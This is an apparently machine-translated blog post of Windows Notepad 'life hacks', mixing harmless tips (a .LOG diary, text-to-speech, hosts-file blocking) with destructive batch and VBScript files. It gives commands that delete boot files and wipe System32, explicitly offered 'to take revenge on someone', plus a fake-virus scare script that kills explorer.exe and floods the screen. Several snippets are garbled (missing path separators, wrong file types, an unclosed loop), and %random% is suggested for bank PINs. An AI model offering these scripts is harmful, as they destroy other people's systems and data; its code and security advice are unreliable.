Life hacks in Notepad, Windows 10, which you should try

You probably don’t think about Notepad in Windows. Compared to tools such as Microsoft Word and third-party text editors and ides, it is not very suitable for any particular purpose. But this does not mean that it is useless.

Let’s fool around;) Useful life hacks to work with Windows 10. Suitable also for Windows 8 and Windows 7. A collection of useful tricks gathered in one place. You can literally destroy someone’s computer using Notepad, and also to solve large problems using Notepad in your operating system. In fact, with a small amount of code in VBScript or even DOS commands / shell, you can write a few fun mini-programs.



Shutdown computer using Notepad

Imagine that instead of pushing the “start” button, then click “shutdown” and then click “OK”, you can simply double-click the icon to turn off the system. Code trick Notepad, written below, does exactly that. Just save the file as a file .vbs and click it when you need to shut down the system.

 

 



@echo off

msg * System will now shut down

shutdown-c “Bye!” -s

Make a personal journal or diary

A special feature that allows us to make the magazine, there is in Notepad. Using it, we can create a log of things, because Notepad will indicate the date and time for us whenever we open a particular type of log file. To do this, simply enter ” .LOG ” in Notepad and save it under any name. Now, whenever you open this specific file, you will see that Notepad automatically inserts the date and time of its opening, and then you can make a log entry and save the log.

Constantly pull out CD drive using Notepad

Don’t you think it would be fun if you could play with your friend, again and again, causing its CD drive? Just enter the text below into Notepad and save it as a file .vbs . Double-click the file .vbs to see his work.

Set oWMP = CreateObject(“WMPlayer.OCX.7”)

Set colCDROMs = oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count — 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count — 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 5000

To print slow

This is a trick that will force text to print slowly, try it, just copy and paste the text below into Notepad and save it as a file .vbs .

WScript.Sleep 180000

WScript.Sleep 10000

Set WshShell = WScript.CreateObject("WScript.Shell")

WshShell.Run "notepad"

WScript.Sleep 100

WshShell.AppActivate "Notepad"

WScript.Sleep 500

WshShell.SendKeys "Hel"

WScript.Sleep 500

WshShell.SendKeys "lo "

WScript.Sleep 500

WshShell.SendKeys ", ho"

WScript.Sleep 500

WshShell.SendKeys "wa"

WScript.Sleep 500

WshShell.SendKeys "re "

WScript.Sleep 500

WshShell.SendKeys "you"

WScript.Sleep 500

WshShell.SendKeys "? "

WScript.Sleep 500

WshShell.SendKeys "I a"

WScript.Sleep 500

WshShell.SendKeys "mg"

WScript.Sleep 500

WshShell.SendKeys "ood"

WScript.Sleep 500

WshShell.SendKeys " th"

WScript.Sleep 500

WshShell.SendKeys "ank"

WScript.Sleep 500

WshShell.SendKeys "s! "

Deleting the boot files using Notepad

One of the ways to destroy a computer is to delete files, which help him to run the computer. While not recommended, this is the code that has the right to do so.

@ECHO OFF

ATTRIB -R -S -HC:AUTOEXEC.BAT

DEL C:AUTOEXEC.BAT

ATTRIB -R -S -HC:BOOT.INI

DEL C:BOOT.INI

ATTRIB -R -S -HC:NTLDR

DEL C:NTLDR

ATTRIB -R -S -HC:WINDOWSWIN.INI

DEL C:WINDOWSWIN.INI

SAVE IT AS .BAT FILE.

This will turn off the computer and remove the files that are required to bring computer to normal state.

Don’t try to do it on your computer for as long as you don’t want to lose all your data.

Convert text to speech using Notepad.

Just copy and paste the code below into Notepad and save it as a file .vbs . When you play it, you will get a dialog box asking what you want to say computer. Have fun.

Dim message, sapi

message=InputBox("What do you want me to say?", "Speak to Me")

Set sapi=CreateObject("sapi.spvoice")

sapi.Speak message

Delete System32 files with Notepad

Want to take revenge on someone? Just use this code, save it as a file .bat and see what he does with this man. This will remove all files in System32 that is needed to operate the system in order.

Just paste the following into Notepad and save it as a file .bat.

DEL C:WINDOWSSYSTEM32*.*/Q

Crash computer

Displays a message stating that system is infected and asks to restart the computer, and then includes many command lines, calculators, notebooks and much more.

Script:

on error resume next 
set t=createobject("Wscript.Shell") 
set kill = createobject("wscript.shell") 
kill.run"taskkill /f /im explorer.exe",0
msgbox"Неполадка системы",16,"Error" 
msgbox"Вы заражены вирусом",48,"Windows" 
msgbox"Необходим перезапуск системы",16,"Windows"
t.run"help" 
t.run"help" 
t.run"help" 
t.run"help" 
t.run"calc.exe" 
t.run"notepad.exe" 
t.run"telnet" 
t.run"help" 
t.run"explorer" 
t.run"help" 
t.run"help" 
t.run"help" 
t.run"help" 
t.run"help" 
t.run"help" 
t.run"calc.exe" 
t.run"notepad.exe" 
t.run"telnet" 
t.run"help" 
t.run"help" 
msgbox"Сбой системы",16,"Windows" 
t.run"help" 
t.run"help" 
t.run"help"
t.run"help" 
t.run"help" 
t.run"help" 
t.run"help" 
t.run"calc.exe" 
t.run"notepad.exe" 
t.run"telnet" 
t.run"help" 
t.run"explorer" 
t.run"help" 
t.run"help" 
t.run"help" 
t.run"help" 
t.run"help" 
t.run"help" 
t.run"calc.exe" 
t.run"notepad.exe" 
t.run"telnet" 
t.run"help" 
t.run"help" 
msgbox"Сбой системы",16,"Windows" 
t.run"help" 
t.run"help" 
t.run"help"
t.run"help" 
t.run"help" 
t.run"help" 
t.run"help" 
t.run"calc.exe" 
t.run"notepad.exe" 
t.run"telnet" 
t.run"help" 
t.run"explorer" 
t.run"help" 
t.run"help" 
t.run"help" 
t.run"help" 
t.run"help" 
t.run"help" 
t.run"calc.exe" 
t.run"notepad.exe" 
t.run"telnet" 
t.run"help" 
t.run"help" 
msgbox"Сбой системы",16,"Windows" 
t.run"help" 
t.run"help" 
t.run"help"

Voice greeting free text to Windows 10

Thanks to the task scheduler in Windows can perform any executing the file in the various stages of the operating system. I’ll show an example at the start, but you create a task in task scheduler, you can choose something of my own.

So the first thing we do is create a text file. Let’s call it, for example, hello.txt

Open it in Notepad and copy the following text:

Dim speaks, speech
speaks=”Hello Natasha”
Set speech=CreateObject(“sapi.spvoice”)
speech.Speak speaks
with speech
.Volume = 100
.Rate = 4
end with

Along the way, changing the text “Hello Natasha” to your mind-full Russian language support appeared in Windows 8.1, so if you have an older system, you must type a message in Latin (Privet Natasha).

Save the file and change the extension to .vbs Now you can click on it double click to listen to the result. In case you want to edit, simply click the right mouse button on the file and select “To change“.

To choose a voice from the list of installed or add another vote in special utility, accessible through pressing Win+R and typing narrator I use standard settings, they are usually missing.

Now go to the Windows task scheduler, to do this, press Win+R and enter taskschd.msc

This will start the Windows task scheduler, select “task scheduler Library” and right click “Create basic task”. If you choose “Create task”, there is the ability to run much more, but for the user I do not need. More precisely, you can configure the task to run in the properties window of the created task.

Specify a name for the new job and click “Next”.

Choose when to start speaking our file. I put in the log on to Windows. This choice allows to play the file only the current user, if you want to play the same file from all users on the computer, select “When the computer starts”. Click “Next”.

Select “Start a program” and again “Next”.

Click the “Browse” button and select a sound file. Next.

Check the settings and click Finish.

Now when entering the current user, my computer will say “Hello Natasha”, to check enough to get out of the current user and login again.

How to block website access in Windows

How to block access to websites via the hosts file. Open the file %systemdrive%windowssystem32driversetchosts and add bottom

127.0.0.1 www.example.com

Thus, we will block access example.com

The generator of numbers in Notepad

Windows can generate a new code for you. Unfortunately, this trick only generates a random four or five digit number. So it’s more suitable for a Bank PIN or anything like that. Paste the following code into a new Notepad file:

@echo off
:Start2
cls
goto Start
:Start
title Password Generator
echo I will make you a new password.
echo Please write the password down somewhere in case you forget it.
echo ----------------------------------------¬-----------------------
echo 1) 1 Random Password
echo 2) 5 Random Passwords
echo 3) 10 Random Passwords
echo Input your choice
set input=
set /p input= Choice:
if %input%==1 goto A if NOT goto Start2
if %input%==2 goto B if NOT goto Start2
if %input%==3 goto C if NOT goto Start2
:A
cls
echo Your password is %random%
echo Now choose what you want to do.
echo 1) Go back to the beginning
echo 2) Exit
set input=
set /p input= Choice:
if %input%==1 goto Start2 if NOT goto Start 2
if %input%==2 goto Exit if NOT goto Start 2
:Exit
exit
:B
cls
echo Your 5 passwords are %random%, %random%, %random%, %random%, %random%.
echo Now choose what you want to do.
echo 1) Go back to the beginning
echo 2) Exit
set input=
set /p input= Choice:
if %input%==1 goto Start2 if NOT goto Start 2
if %input%==2 goto Exit if NOT goto Start 2
:C
cls
echo Your 10 Passwords are %random%, %random%, %random%, %random%, %random%, %random%, %random%, %random%, %random%, %random%
echo Now choose what you want to do.
echo 1) Go back to the beginning
echo 2) Exit
set input=
set /p input= Choice:
if %input%==1 goto Start2 if NOT goto Start 2
if %input%==2 goto Exit if NOT goto Start 2

Save as Generator.bat. It’s the same deal as before — the name doesn’t matter, if it ends up on BAT. Double click on it to open and you will see a simple menu. You can choose to create one, five or ten passwords.


38 Views

0 0 vote
Article Rating
Subscribe
Notify of
guest
0 Comments
Inline Feedbacks
View all comments


Do NOT follow this link or you will be banned from the site!
0
Would love your thoughts, please comment.x
()
x

Spelling error report

The following text will be sent to our editors: